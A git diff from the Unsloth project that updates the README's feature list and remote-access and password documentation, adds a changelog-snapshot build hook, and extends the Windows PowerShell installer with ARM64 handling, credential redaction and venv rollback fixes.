- **MTP**: Run Qwen3.6 MTP in Unsloth. MTP settings are autoset specific to your hardware. [Guide](https://unsloth.ai/docs/models/qwen3.6#mtp-guide)
- **API inference endpoint**: Deploy and run local LLMs in Claude Code, Codex tools. [Guide](https://unsloth.ai/docs/basics/api)
- **Qwen3.6**: Qwen3.6-35B-A3B can now be trained and run in Unsloth Studio. [Blog](https://unsloth.ai/docs/models/qwen3.6)
- **Gemma 4**: Run and train Googles new models directly in Unsloth. [Blog](https://unsloth.ai/docs/models/gemma-4)
- **AMD training**: Train, run RL, chat and deploy on AMD GPUs across Windows, WSL and Linux. [Guide](https://unsloth.ai/docs/basics/amd)
- **GGUF hardware controls**: Choose GPU/layer placement, offload MoE experts and use multi-GPU or Tensor Parallelism. [#6414](https://github.com/unslothai/unsloth/pull/6414)
- **Local models for any agent**: Use `unsloth start` with Claude Code, Codex, Hermes, OpenCode, OpenClaw, Pi and more through Unsloth's OpenAI- and Anthropic-compatible APIs. [Guide](https://unsloth.ai/docs/basics/api)
- **MCP control endpoint**: Let compatible clients manage models, training, recipes, checkpoints and exports. [#7191](https://github.com/unslothai/unsloth/pull/7191)
- **Local inference reliability**: Resume long chats faster, recover stalled downloads and reuse existing GGUF files. [#7204](https://github.com/unslothai/unsloth/pull/7204) • [#6858](https://github.com/unslothai/unsloth/pull/6858) • [#7209](https://github.com/unslothai/unsloth/pull/7209)
- **New models**: [Qwen-AgentWorld](https://huggingface.co/unsloth/Qwen-AgentWorld-35B-A3B-GGUF), [Ornith](https://huggingface.co/unsloth/models?search=ornith), [Kimi K2.7 Code](https://unsloth.ai/docs/models/kimi-k2.7-code) and [MiniMax M3](https://unsloth.ai/docs/models/minimax-m3)
- **GLM-5.2**: Run Z.ai's 744B-parameter, 1M-context open model locally with Unsloth Dynamic GGUFs. [Guide](https://unsloth.ai/docs/models/glm-5.2)
- **DeepSeek-V4**: Run DeepSeek-V4-Flash locally with corrected multi-turn and tool-calling behavior. [Guide](https://unsloth.ai/docs/models/deepseek-v4)
- **DiffusionGemma**: Run and fine-tune Google's diffusion language model with 1.8x faster inference in Unsloth Studio. [Guide](https://unsloth.ai/docs/models/diffusiongemma)
- **Qwen3.6**: Run and train Qwen3.6 with MTP for 1.4-2.2x faster inference and NVFP4 quants for supported GPUs. [Guide](https://unsloth.ai/docs/models/qwen3.6)
- **Gemma 4**: Run and train Gemma 4 text, image and audio models with QAT, MTP, GGUF and MLX support. [Guide](https://unsloth.ai/docs/models/gemma-4)
- **MCP servers**: Connect local models to files, apps, databases and external tools through Model Context Protocol. [Guide](https://unsloth.ai/docs/basics/mcp)
- **Connections**: Mix local models with API providers (OpenAI, Anthropic) or servers (vLLM, Ollama) in the same interface. [Guide](https://unsloth.ai/docs/integrations/connections)
- **Introducing Unsloth Studio**: our new web UI for running and training LLMs. [Blog](https://unsloth.ai/docs/new/studio)
- **Qwen3.5** - 0.8B, 2B, 4B, 9B, 27B, 35-A3B, 112B-A10B are now supported. [Guide + notebooks](https://unsloth.ai/docs/models/qwen3.5/fine-tune)
- Train **MoE LLMs 12x faster** with 35% less VRAM - DeepSeek, GLM, Qwen and gpt-oss. [Blog](https://unsloth.ai/docs/new/faster-moe)
- **Embedding models**: Unsloth now supports ~1.8-3.3x faster embedding fine-tuning. [Blog](https://unsloth.ai/docs/new/embedding-finetuning) • [Notebooks](https://unsloth.ai/docs/get-started/unsloth-notebooks#embedding-models)
- New **7x longer context RL** vs. all other setups, via our new batching algorithms. [Blog](https://unsloth.ai/docs/new/grpo-long-context)
@ -208,16 +269,31 @@ unsloth studio -p 8888
#### Remote access: `--secure` (HTTPS tunnel) vs raw port
By default `unsloth studio` binds to `127.0.0.1` (this machine only). To reach it from another device, pick one of:
- `--secure` (recommended): serve **only** through a free Cloudflare HTTPS link. Studio stays bound to localhost and the tunnel provides the public URL; it fails closed (does not start) if the tunnel can't come up, so the raw port is never exposed.
- `--secure` (recommended): serve **only** through a free Cloudflare HTTPS link. Unsloth stays bound to localhost and the tunnel provides the public URL; it fails closed (does not start) if the tunnel can't come up, so the raw port is never exposed.
```bash
unsloth studio --secure -p 8888
```
- `-H 0.0.0.0`: bind the raw port on all network interfaces, reachable from anywhere on the network. Only use this on a trusted network.
- `-H 0.0.0.0`: bind the raw port on all network interfaces, reachable from anywhere on the network (subject to your firewall). It does not create a public internet URL; add `--cloudflare` to also publish an internet-reachable `https://*.trycloudflare.com` link even behind a firewall. Only use this on a network you trust.
```bash
unsloth studio -H 0.0.0.0 -p 8888
```
The Cloudflare tunnel is **off by default**: `-H 0.0.0.0` exposes the raw port only, not a public internet URL. Pair the wildcard bind with `--cloudflare` (`unsloth studio -H 0.0.0.0 --cloudflare`) to also publish a public `https://*.trycloudflare.com` link, or prefer `--secure` (above), which keeps the raw port private. `--cloudflare` has no effect on a loopback bind.
Server-side tools (web search, Python and terminal code execution) run as your user and are on by default. Anyone who can reach the server with the API key can run code on this machine, so keep your API key private and pass `--disable-tools` when exposing Studio.
On a wildcard bind Unsloth works out the address to share by asking `ifconfig.me` for the public IP, then asks `check-host.net` whether that port is reachable so it can tell you if a firewall is in the way. Both contact a third party. Set `UNSLOTH_STUDIO_DISABLE_PUBLIC_CHECK=1` to skip them; the banner then shows the LAN address and no reachability line.
The first time Unsloth is published on a public URL (`--secure` or `--cloudflare`) with the auto-generated admin password still in place, it asks for a new admin password in the terminal (masked input with confirmation) before the public link goes up. Without an attached terminal it warns instead and keeps the bootstrap deadline: Unsloth shuts down after `UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT` (default 1 hour) unless the password is changed in the web UI.
For headless setups that cannot answer that prompt, set the initial admin password non-interactively with `--password` (only takes effect when no password is set yet; if one already exists it is a hard error, so rotate later with `unsloth studio reset-password`):
```bash
unsloth studio --secure --password 'your-strong-password' # visible in `ps`/history
UNSLOTH_STUDIO_PASSWORD='your-strong-password' unsloth studio --secure # via env var
printf '%s\n' 'your-strong-password' | unsloth studio --secure --password - # via stdin
```
A literal `--password VALUE` is visible in the process list and shell history, so prefer the `UNSLOTH_STUDIO_PASSWORD` env var or `--password -` (stdin) for automation. This applies to any launch (public or a headless `-H 0.0.0.0` bind), and the password is set in the parent before the server binds, so it never reaches a re-executed child process.
Server-side tools (web search, Python and terminal code execution) run as your user and are on by default. Anyone who can reach the server with the API key can run code on this machine, so keep your API key private and pass `--disable-tools` when exposing Unsloth.
#### Advanced launch options
Installer options can be passed as environment variables. On macOS, Linux and WSL place the variable after the pipe so the shell passes it to `sh`; on Windows set it with `$env:` before piping to `iex`.
@ -230,6 +306,14 @@ curl -fsSL https://unsloth.ai/install.sh | UNSLOTH_NO_TORCH=1 sh
$env:UNSLOTH_NO_TORCH=1; irm https://unsloth.ai/install.ps1 | iex
```
Skip the post-install prompt that starts Unsloth (useful for automated installs):
```bash
curl -fsSL https://unsloth.ai/install.sh | UNSLOTH_SKIP_AUTOSTART=1 sh
```
```powershell
$env:UNSLOTH_SKIP_AUTOSTART=1; irm https://unsloth.ai/install.ps1 | iex
```
Pin the Python version:
```bash
curl -fsSL https://unsloth.ai/install.sh | UNSLOTH_PYTHON=3.12 sh
@ -258,9 +342,9 @@ UNSLOTH_NPM_REGISTRY=https://artifactory.example.com/api/npm/npm/ ./install.sh -
```powershell
$env:UNSLOTH_NPM_REGISTRY='https://artifactory.example.com/api/npm/npm/'; .\install.ps1 --local
```
It is threaded as `--registry` into the Studio frontend `npm`/`bun` installs; the supply-chain locks (7-day `min-release-age`, exact version pins) stay in force.
It is threaded as `--registry` into the Unsloth frontend `npm`/`bun` installs; the supply-chain locks (7-day `min-release-age`, exact version pins) stay in force.
Cap Studio's native CPU thread pools on high-core hosts: `UNSLOTH_CPU_THREADS=8 unsloth studio -p 8888`.
Cap Unsloth's native CPU thread pools on high-core hosts: `UNSLOTH_CPU_THREADS=8 unsloth studio -p 8888`.
#### Uninstall
The recommended way to fully remove Unsloth Studio is the matching uninstall script for your OS. It stops any running servers, removes the install dir, the launcher data dir, the desktop shortcut, and any platform-specific entries (macOS `.app` bundle + Launch Services on Mac; Start Menu, `HKCU\Software\Unsloth` registry key and user `PATH` entries on Windows):

36
_changelog_build.py Normal file
View file

@ -0,0 +1,36 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
"""Snapshot CHANGELOG.md into the studio package at build time.
CHANGELOG.md at the repo root stays the one file to edit. Copying it here,
rather than in build.sh, means every packaging path ships it, so release notes
still render when the popup cannot reach GitHub."""
from __future__ import annotations
import shutil
from pathlib import Path
from setuptools.command.build_py import build_py as _build_py
ROOT = Path(__file__).resolve().parent
SOURCE = ROOT / "CHANGELOG.md"
SNAPSHOT = ROOT / "studio" / "CHANGELOG.md"
class build_py(_build_py):
def run(self) -> None:
# Beside the sources only if writable (PEP 517 may build an immutable
# checkout); into the staging directory always.
if SOURCE.is_file():
try:
shutil.copyfile(SOURCE, SNAPSHOT)
except OSError:
pass
super().run()
if not SOURCE.is_file():
return
staged = Path(self.build_lib) / "studio" / "CHANGELOG.md"
staged.parent.mkdir(parents = True, exist_ok = True)
shutil.copyfile(SOURCE, staged)

View file

@ -4,9 +4,9 @@
set -euo pipefail
# PyPI/Studio release publishing must use `./build.sh publish` (or an
# equivalent stamp -> build -> verify-dist -> upload flow) so packaged Studio
# artifacts include the display-only Studio release version.
# PyPI/Unsloth release publishing must use `./build.sh publish` (or an
# equivalent stamp -> build -> verify-dist -> upload flow) so packaged Unsloth
# artifacts include the display-only Unsloth release version.
# 1. Build frontend (Vite outputs to dist/)
cd studio/frontend
@ -87,7 +87,7 @@ cd ../..
# 2. Clean old artifacts
rm -rf build dist *.egg-info
# 3. Stamp display-only Studio release metadata for packaged builds.
# 3. Stamp display-only Unsloth release metadata for packaged builds.
_STUDIO_BUILD_INFO="studio/backend/utils/_studio_release_build.py"
_STUDIO_BUILD_INFO_BACKUP="$(mktemp)"
cp "$_STUDIO_BUILD_INFO" "$_STUDIO_BUILD_INFO_BACKUP"
@ -103,9 +103,13 @@ else
STUDIO_STAMPED_VERSION="$(python scripts/stamp_studio_release.py)"
fi
# 4. Build wheel/sdist
# 4. Build wheel/sdist. _changelog_build.py snapshots CHANGELOG.md into the studio
# package so release notes render offline.
python -m build
# Drop the snapshot so a source checkout never serves a stale copy.
rm -f studio/CHANGELOG.md
if [ "${1:-}" = "publish" ]; then
python scripts/stamp_studio_release.py --verify-dist dist --expected "$STUDIO_STAMPED_VERSION"
fi

View file

@ -6,6 +6,7 @@
# irm | iex cannot forward arguments, so web installs take options as env vars set
# before the pipe (flags still work via .\install.ps1):
# $env:UNSLOTH_NO_TORCH=1; irm https://unsloth.ai/install.ps1 | iex # skip PyTorch (GGUF-only)
# $env:UNSLOTH_SKIP_AUTOSTART=1; irm https://unsloth.ai/install.ps1 | iex # do not prompt to launch
# $env:UNSLOTH_PYTHON='3.12'; irm https://unsloth.ai/install.ps1 | iex # pin Python version
# $env:UNSLOTH_STUDIO_HOME='C:\path'; irm https://unsloth.ai/install.ps1 | iex
# .\install.ps1 --no-torch # equivalent flag
@ -27,6 +28,14 @@ function Install-UnslothStudio {
}
}
function Clear-TauriInstallError {
param([string]$Message)
if ($TauriMode) {
Write-TauriLog "ERROR_CLEAR" $Message
[Console]::Error.WriteLine("[TAURI:ERROR_CLEAR] $Message")
}
}
function Format-TauriDiagBool {
param([bool]$Value)
if ($Value) { return "true" }
@ -48,11 +57,32 @@ function Install-UnslothStudio {
}
}
# Machine arch; Get-TauriDiagArch above reports the process. An emulated x64 shell on
# ARM64 reports AMD64, but PROCESSOR_ARCHITEW6432 is ARM64 in exactly that case.
function Get-HostMachineArch {
$osArch = ""
try { $osArch = [System.Runtime.InteropServices.RuntimeInformation]::OSArchitecture.ToString() } catch { $osArch = "" }
$signals = @([string]$env:PROCESSOR_ARCHITEW6432, [string]$env:PROCESSOR_ARCHITECTURE, $osArch)
foreach ($s in $signals) {
if ($s.ToLowerInvariant() -eq "arm64") { return "arm64" }
}
foreach ($s in $signals) {
if ([string]::IsNullOrWhiteSpace($s)) { continue }
switch ($s.ToLowerInvariant()) {
"amd64" { return "x86_64" }
"x64" { return "x86_64" }
"x86" { return "x86" }
}
}
return "unknown"
}
function Get-TauriTorchIndexFamily {
param([string]$TorchIndexUrl)
if ($SkipTorch) { return "none" }
if ([string]::IsNullOrWhiteSpace($TorchIndexUrl)) { return "none" }
$leaf = ($TorchIndexUrl.TrimEnd('/') -split '/')[-1].ToLowerInvariant()
# Drop query/fragment first so a token-authenticated pin classifies by family.
$leaf = (($TorchIndexUrl -split '[?#]', 2)[0].TrimEnd('/') -split '/')[-1].ToLowerInvariant()
if (@("cpu", "cu118", "cu124", "cu126", "cu128", "cu130") -contains $leaf) { return $leaf }
if ($leaf -match '^rocm[0-9]+\.[0-9]+$') { return $leaf }
return "auto"
@ -61,7 +91,8 @@ function Install-UnslothStudio {
function Get-TauriGpuBranch {
param([string]$TorchIndexFamily)
if ($SkipTorch) { return "no_torch" }
if ($TorchIndexFamily -like "cu*") { return "cuda" }
# Require a digit after "cu" so /current or /custom isn't branded CUDA (parity ^cu[0-9]).
if ($TorchIndexFamily -match '^cu[0-9]') { return "cuda" }
if ($TorchIndexFamily -like "rocm*") { return "rocm" }
if ($TorchIndexFamily -eq "cpu") { return "cpu" }
return "unknown"
@ -83,13 +114,14 @@ function Install-UnslothStudio {
[int]$Code = 1
)
if ($Code -eq 0) { $Code = 1 }
Write-TauriLog "ERROR" $Message
Write-TauriLog "ERROR_DEFAULT" $Message
if (Get-Command Restore-StudioVenvRollback -CommandType Function -ErrorAction SilentlyContinue) {
Restore-StudioVenvRollback
}
if ($TauriMode) {
exit $Code
}
throw $Message
}
# ── Parse flags ──
@ -98,6 +130,7 @@ function Install-UnslothStudio {
$RepoRoot = ""
$TauriMode = $false
$SkipTorch = $false
$SkipAutostart = $false
$ShortcutsOnly = $false
$WithLlamaCppDir = ""
$argList = $args
@ -130,6 +163,7 @@ function Install-UnslothStudio {
# Env-var equivalent for web installs; an explicit flag still wins.
if ($env:UNSLOTH_NO_TORCH -in @('1', 'true', 'yes', 'on')) { $SkipTorch = $true }
if ($env:UNSLOTH_SKIP_AUTOSTART -in @('1', 'true', 'yes', 'on')) { $SkipAutostart = $true }
# Propagate to child processes so they also respect verbose mode.
# Process-scoped -- does not persist.
@ -172,7 +206,7 @@ function Install-UnslothStudio {
$envOverride = $env:STUDIO_HOME.Trim()
}
# Custom Studio roots are not supported with --tauri (desktop app still
# Custom Unsloth roots are not supported with --tauri (desktop app still
# resolves %USERPROFILE%\.unsloth\studio). Pass through if override == legacy.
if ($TauriMode -and $envOverride) {
$_tauriOverride = $envOverride
@ -463,31 +497,70 @@ function Install-UnslothStudio {
}
}
# Redact index-URL credentials (userinfo + ?query= + #fragment) from captured installer
# output before printing on failure; uv/pip errors echo the failing --index-url verbatim.
# Mirrors the other installers. Verbose mode streams uncaptured, so it isn't redacted.
function Redact-InstallOutput {
param([string]$Text)
if (-not $Text) { return $Text }
$Text = $Text -replace '(https?://)[^/@\s`]+@', '$1<redacted>@'
$Text = $Text -replace '([?&][^=\s&`]+)=[^&#\s`]+', '$1=<redacted>'
# A #token=... fragment is as sensitive as a query; URL-anchored.
return $Text -replace '(https?://[^\s`#]+)#[^\s`]+', '$1#<redacted>'
}
# Run native commands quietly by default to match install.sh behavior.
# Full command output is shown only when --verbose / UNSLOTH_VERBOSE=1.
function Invoke-InstallCommand {
param(
[Parameter(Mandatory = $true)][ScriptBlock]$Command
[Parameter(Mandatory = $true)][ScriptBlock]$Command,
[string]$Label = "install command"
)
# Installer-pinned index installs (torch) must beat an inherited uv mirror (#6898):
# for --default-index, clear the uv index env vars (restore in finally) and set
# UV_NO_CONFIG=1 so a uv.toml/pyproject index can't outrank the CLI pin (uv 0.10).
$savedUvIndex = $null
if ($Command.ToString() -match '--default-index') {
$savedUvIndex = @{}
foreach ($n in 'UV_DEFAULT_INDEX', 'UV_INDEX_URL', 'UV_INDEX', 'UV_EXTRA_INDEX_URL', 'UV_TORCH_BACKEND', 'UV_FIND_LINKS', 'UV_CONFIG_FILE', 'UV_NO_CONFIG') {
$savedUvIndex[$n] = [Environment]::GetEnvironmentVariable($n)
Remove-Item "Env:$n" -ErrorAction SilentlyContinue
}
$env:UV_NO_CONFIG = '1'
}
$prevEap = $ErrorActionPreference
$ErrorActionPreference = "Continue"
try {
# Reset to avoid stale values from prior native commands.
$global:LASTEXITCODE = 0
Write-TauriLog "OUTPUT_CLEAR" $Label
if ($script:UnslothVerbose) {
# Merge stderr into stdout so progress/warning output stays visible
# without flipping $? on successful native commands (PS 5.1 treats
# stderr records as errors that set $? = $false even on exit code 0).
& $Command 2>&1 | Out-Host
# Redact per record: uv echoes index URLs (credentials and all) in
# its errors, and verbose mode must not bypass the quiet path's
# redaction. ForEach-Object/Out-Host leave $LASTEXITCODE untouched.
& $Command 2>&1 | ForEach-Object { Redact-InstallOutput "$_" } | Out-Host
} else {
$output = & $Command 2>&1 | Out-String
if ($LASTEXITCODE -ne 0) {
Write-Host $output -ForegroundColor Red
Write-Host (Redact-InstallOutput $output) -ForegroundColor Red
}
}
return [int]$LASTEXITCODE
$exitCode = [int]$LASTEXITCODE
if ($exitCode -eq 0) {
Clear-TauriInstallError "$Label recovered"
} else {
Write-TauriLog "ERROR_OUTPUT" "$Label failed (exit code $exitCode)"
}
return $exitCode
} finally {
$ErrorActionPreference = $prevEap
if ($savedUvIndex) {
Remove-Item "Env:UV_NO_CONFIG" -ErrorAction SilentlyContinue
foreach ($n in $savedUvIndex.Keys) { if ($null -ne $savedUvIndex[$n]) { Set-Item "Env:$n" $savedUvIndex[$n] } }
}
}
}
@ -512,7 +585,7 @@ function Install-UnslothStudio {
}
$attempt = 1
while ($true) {
$code = Invoke-InstallCommand $Command
$code = Invoke-InstallCommand -Command $Command -Label $Label
if ($code -eq 0) { return 0 }
if ($attempt -ge $maxAttempts) { return $code }
substep ("retrying ""$Label"" after transient failure (attempt $($attempt + 1)/$maxAttempts, waiting ${delay}s)...") "Yellow"
@ -740,7 +813,7 @@ function Find-FreeLaunchPort {
return `$null
}
# If Studio is already healthy on any expected port, just open it and exit.
# If Unsloth is already healthy on any expected port, just open it and exit.
`$existingPort = Find-HealthyStudioPort
if (`$existingPort) {
Start-Process "http://localhost:`$existingPort"
@ -756,7 +829,7 @@ try {
`$haveMutex = `$true
}
if (-not `$haveMutex) {
# Another launcher is already running; wait for it to bring Studio up
# Another launcher is already running; wait for it to bring Unsloth up
`$deadline = (Get-Date).AddSeconds(`$timeoutSec)
while ((Get-Date) -lt `$deadline) {
`$port = Find-HealthyStudioPort
@ -1071,10 +1144,27 @@ exit 0
return $false
}
# The interpreter's own arch, asked of it: win-amd64|win-arm64|win32|"".
function Get-PythonPlatformTag {
param([string]$Exe)
try {
return (& $Exe -c "import sysconfig; print(sysconfig.get_platform())" 2>$null | Out-String).Trim().ToLowerInvariant()
} catch { return "" }
}
# Returns @{ Version = "3.13"; Path = "C:\...\python.exe" } or $null.
# The resolved Path is passed to `uv venv --python` to prevent uv from
# re-resolving the version string back to a conda interpreter.
function Find-CompatiblePython {
# -X64Only: best installed x64 interpreter or $null, never ARM64. Last resort for
# Install-X64Python, where x64 of a lower-priority minor beats ARM64.
param([switch]$X64Only)
# Windows on ARM: prefer x64. pyarrow (via datasets) and hf-transfer ship no
# win_arm64 wheel, so a native ARM64 Python source-builds both and dies on CMake /
# Rust minutes in; x64 runs fine emulated. ARM64 is still returned when it is all
# there is, and the caller then bootstraps x64 or warns.
$preferX64 = $X64Only -or ((Get-HostMachineArch) -eq "arm64")
$candidates = @()
# Try the Python Launcher first (most reliable on Windows)
# py.exe resolves to the standard CPython install, not conda.
# Prefer the requested $PythonVersion, then newest-first fallback.
@ -1092,7 +1182,8 @@ exit 0
# Resolve the actual executable path and verify it is not conda-based
$resolvedExe = (& $pyLauncher.Source "-$minor" -c "import sys; print(sys.executable)" 2>$null | Out-String).Trim()
if ($resolvedExe -and (Test-Path $resolvedExe) -and -not (Test-IsCondaPython $resolvedExe)) {
return @{ Version = $ver; Path = $resolvedExe }
if (-not $preferX64) { return @{ Version = $ver; Path = $resolvedExe; Arch = "" } }
$candidates += @{ Version = $ver; Path = $resolvedExe }
}
}
} catch {}
@ -1113,11 +1204,53 @@ exit 0
try {
$out = & $cmd.Source --version 2>&1 | Out-String
if ($out -match "Python (3\.1[1-3])\.\d+") {
return @{ Version = $Matches[1]; Path = $cmd.Source }
if (-not $preferX64) { return @{ Version = $Matches[1]; Path = $cmd.Source; Arch = "" } }
$candidates += @{ Version = $Matches[1]; Path = $cmd.Source }
}
} catch {}
}
}
# `py -3.12` runs the launcher's preferred build, normally the native ARM64 one, so
# a same-minor x64 install that is neither preferred nor on PATH never becomes a
# candidate. `-3.12-64` cannot disambiguate (deprecated, it only means "not
# 32-bit"), so enumerate every registration with -0p and probe each path.
if ($preferX64) {
foreach ($pyLauncher in @(Get-Command py -All -CommandType Application -ErrorAction SilentlyContinue)) {
if ($pyLauncher.Source -match $script:CondaSkipPattern) { continue }
$listed = @()
try { $listed = @(& $pyLauncher.Source "-0p" 2>$null) } catch {}
foreach ($line in $listed) {
# " -V:3.12 * C:\...\python.exe": tag, optional default marker, path.
$m = [regex]::Match([string]$line, '(?i)^\s*-\S+\s+\*?\s*"?(?<p>\S.*?\.exe)"?\s*$')
if (-not $m.Success) { continue }
$exe = $m.Groups['p'].Value.Trim()
if ($candidates | Where-Object { $_.Path -eq $exe }) { continue }
if (-not (Test-Path -LiteralPath $exe)) { continue }
if (Test-IsCondaPython $exe) { continue }
try {
$out = & $exe --version 2>&1 | Out-String
if ($out -match "Python (3\.1[1-3])\.\d+") {
$candidates += @{ Version = $Matches[1]; Path = $exe }
}
} catch {}
}
}
}
# Prefer x64, but only within one minor: $minors is the caller's version preference,
# so ranking on arch alone would answer UNSLOTH_PYTHON=3.12 with an x64 3.13 and
# never bootstrap x64 3.12. Probing costs a subprocess, so non-ARM returned above.
foreach ($c in $candidates) {
$tag = Get-PythonPlatformTag $c.Path
$c.Arch = if ($tag -eq "win-amd64") { "x86_64" } elseif ($tag -eq "win-arm64") { "arm64" } else { "unknown" }
}
foreach ($minor in $minors) {
$sameMinor = @($candidates | Where-Object { $_.Version -eq $minor })
if ($sameMinor.Count -eq 0) { continue }
$x64 = $sameMinor | Where-Object { $_.Arch -eq "x86_64" } | Select-Object -First 1
if ($x64) { return $x64 }
if (-not $X64Only) { return $sameMinor[0] }
}
if (-not $X64Only -and $candidates.Count -gt 0) { return $candidates[0] }
return $null
}
@ -1128,8 +1261,11 @@ exit 0
# (no UAC), putting python.exe + the py launcher on PATH. Mirrors the uv ->
# astral.sh fallback below. Returns @{ Version; Path } or $null.
function Install-PythonFromPythonOrg {
# $Arch overrides the host arch, to pull x64 onto an ARM64 box.
param([string]$Arch = "")
# python.org ships one installer per architecture.
$archSuffix = switch (Get-TauriDiagArch) {
$targetArch = if ($Arch) { $Arch } else { Get-TauriDiagArch }
$archSuffix = switch ($targetArch) {
"x86_64" { "-amd64" }
"arm64" { "-arm64" }
"x86" { "" }
@ -1194,6 +1330,28 @@ exit 0
return (Find-CompatiblePython)
}
# ── Windows on ARM: get an x64 CPython ──
# --architecture x64 forces winget off the ARM64 build; python.org takes the same override.
function Install-X64Python {
if ($script:WingetAvailable) {
$prevEAP = $ErrorActionPreference
$ErrorActionPreference = "Continue"
try {
winget install -e --id "Python.Python.$PythonVersion" --source winget --architecture x64 --accept-package-agreements --accept-source-agreements
} catch { }
$ErrorActionPreference = $prevEAP
Refresh-SessionPath
$found = Find-CompatiblePython
if ($found -and $found.Arch -eq "x86_64") { return $found }
substep "winget could not provide an x64 Python -- trying python.org..." "Yellow"
}
$found = Install-PythonFromPythonOrg -Arch "x86_64"
if ($found -and $found.Arch -eq "x86_64") { return $found }
# Nothing installable (offline / no winget): an x64 build of another supported minor
# still runs the wheels ARM64 cannot, so take it over the native interpreter.
return (Find-CompatiblePython -X64Only)
}
# ── Install Python if no compatible version (3.11-3.13) found ──
# Find-CompatiblePython returns @{ Version = "3.13"; Path = "C:\...\python.exe" } or $null.
Write-TauriLog "STEP" "Installing Python"
@ -1265,6 +1423,26 @@ exit 0
return (Exit-InstallFailure "Python installation failed")
}
}
# ── Windows on ARM: swap a native ARM64 interpreter for x64 ──
# pyarrow and hf-transfer publish no win_arm64 wheel, so an ARM64 Python source-builds
# both and fails deep into the run. Warn up front if x64 is unobtainable.
if ($DetectedPython -and (Get-HostMachineArch) -eq "arm64" -and $DetectedPython.Arch -ne "x86_64") {
substep "windows on arm: only a native ARM64 Python $($DetectedPython.Version) was found." "Yellow"
substep "pyarrow and hf-transfer publish no win_arm64 wheels, so installing x64 Python..." "Yellow"
$X64Python = Install-X64Python
if ($X64Python) {
$DetectedPython = $X64Python
step "python" "using x64 Python $($DetectedPython.Version) under emulation"
} else {
Write-Host "[WARN] Could not install an x64 Python on this ARM64 machine." -ForegroundColor Yellow
Write-Host " Continuing with ARM64 Python $($DetectedPython.Version), but the install is likely to fail:" -ForegroundColor Yellow
Write-Host " pyarrow (via datasets) and hf-transfer ship no win_arm64 wheels and will be" -ForegroundColor Yellow
Write-Host " built from source, which needs CMake plus the MSVC and Rust toolchains." -ForegroundColor Yellow
Write-Host " Fix: install x64 Python from https://www.python.org/downloads/windows/" -ForegroundColor Yellow
Write-Host " (choose 'Windows installer (64-bit)', not ARM64), then re-run this installer." -ForegroundColor Yellow
}
}
$DiagPythonVersion = $PythonVersion
if ($DetectedPython) { $DiagPythonVersion = $DetectedPython.Version }
$InitialGpuBranch = "unknown"
@ -1379,13 +1557,82 @@ exit 0
$suffix++
$candidate = Join-Path $StudioHome "unsloth_studio.rollback.$stamp.$PID.$suffix"
}
Move-Item -LiteralPath $ExistingDir -Destination $candidate -ErrorAction Stop
$script:StudioVenvRollbackDir = $candidate
$script:StudioVenvRollbackTarget = $ExistingDir
$script:StudioVenvRollbackActive = $true
# Publish the rollback state before the atomic rename so interruption
# cannot land after Move-Item but before cleanup knows where the old venv went.
try {
Move-Item -LiteralPath $ExistingDir -Destination $candidate -ErrorAction Stop
} catch {
# A collision or ordinary rename failure leaves the original in place.
# Keep state active only when the rename happened before interruption.
if (Test-Path -LiteralPath $ExistingDir) {
$script:StudioVenvRollbackActive = $false
$script:StudioVenvRollbackDir = $null
}
throw
}
substep "previous environment preserved for rollback"
}
function Remove-StudioVenvTreeWithRetry {
param(
[Parameter(Mandatory = $true)][string]$Path,
[Parameter(Mandatory = $true)][string]$Label
)
$lastError = $null
for ($attempt = 1; $attempt -le 3; $attempt++) {
try {
Remove-Item -LiteralPath $Path -Recurse -Force -ErrorAction Stop
} catch {
$lastError = $_.Exception.Message
}
if (-not (Test-Path -LiteralPath $Path)) { return $true }
if ($attempt -lt 3) { Start-Sleep -Milliseconds (250 * $attempt) }
}
Write-Host "[WARN] Could not remove $Label at $Path" -ForegroundColor Yellow
if ($lastError) { Write-Host " $lastError" -ForegroundColor Yellow }
return $false
}
function Test-StudioVenvRollbackMustBePreserved {
param([Parameter(Mandatory = $true)][System.IO.FileSystemInfo]$Rollback)
# Preserve anything outside the installer's timestamp.PID[.suffix] format.
if ($Rollback.Name -notmatch '^unsloth_studio\.rollback\.[0-9]{14}\.([0-9]+)(?:\.[0-9]+)?$') {
return $true
}
$ownerPid = 0
if (-not [int]::TryParse($Matches[1], [ref]$ownerPid)) { return $true }
if ($ownerPid -eq $PID) { return $true }
return $null -ne (Get-Process -Id $ownerPid -ErrorAction SilentlyContinue)
}
function Remove-StaleStudioVenvRollbacks {
try {
$rollbacks = @(
Get-ChildItem -LiteralPath $StudioHome -Directory -Force -ErrorAction Stop |
Where-Object { $_.Name -like 'unsloth_studio.rollback.*' }
)
} catch {
Write-Host "[WARN] Could not inspect stale environment rollbacks in $StudioHome" -ForegroundColor Yellow
Write-Host " $($_.Exception.Message)" -ForegroundColor Yellow
return
}
foreach ($rollback in $rollbacks) {
if (($rollback.Attributes -band [System.IO.FileAttributes]::ReparsePoint) -ne 0) {
Write-Host "[WARN] Refusing to remove rollback reparse point $($rollback.FullName)" -ForegroundColor Yellow
continue
}
# A concurrent installer may have moved its live venv aside. The PID
# in the generated name keeps this run from deleting its rescue copy.
if (Test-StudioVenvRollbackMustBePreserved -Rollback $rollback) { continue }
if (Remove-StudioVenvTreeWithRetry -Path $rollback.FullName -Label "stale environment rollback") {
substep "removed stale environment rollback $($rollback.Name)"
}
}
}
function Restore-StudioVenvRollback {
if (-not $script:StudioVenvRollbackActive) { return }
$backup = $script:StudioVenvRollbackDir
@ -1397,7 +1644,9 @@ exit 0
substep "restoring previous environment after failed install..." "Yellow"
try {
if (Test-Path -LiteralPath $target) {
Remove-Item -LiteralPath $target -Recurse -Force -ErrorAction SilentlyContinue
if (-not (Remove-StudioVenvTreeWithRetry -Path $target -Label "incomplete environment")) {
throw "Could not remove incomplete environment at $target"
}
}
Move-Item -LiteralPath $backup -Destination $target -Force -ErrorAction Stop
substep "restored previous environment"
@ -1412,17 +1661,21 @@ exit 0
function Complete-StudioVenvRollback {
if (-not $script:StudioVenvRollbackActive) { return }
$backup = $script:StudioVenvRollbackDir
if ($backup -and (Test-Path -LiteralPath $backup)) {
Remove-Item -LiteralPath $backup -Recurse -Force -ErrorAction SilentlyContinue
}
# The replacement is committed. Disable restoration before deleting the
# backup so interruption cannot restore a partially deleted environment.
$script:StudioVenvRollbackActive = $false
$script:StudioVenvRollbackDir = $null
if ($backup -and (Test-Path -LiteralPath $backup)) {
Remove-StudioVenvTreeWithRetry -Path $backup -Label "environment rollback" | Out-Null
}
}
$studioVenvReplacementCommitted = $false
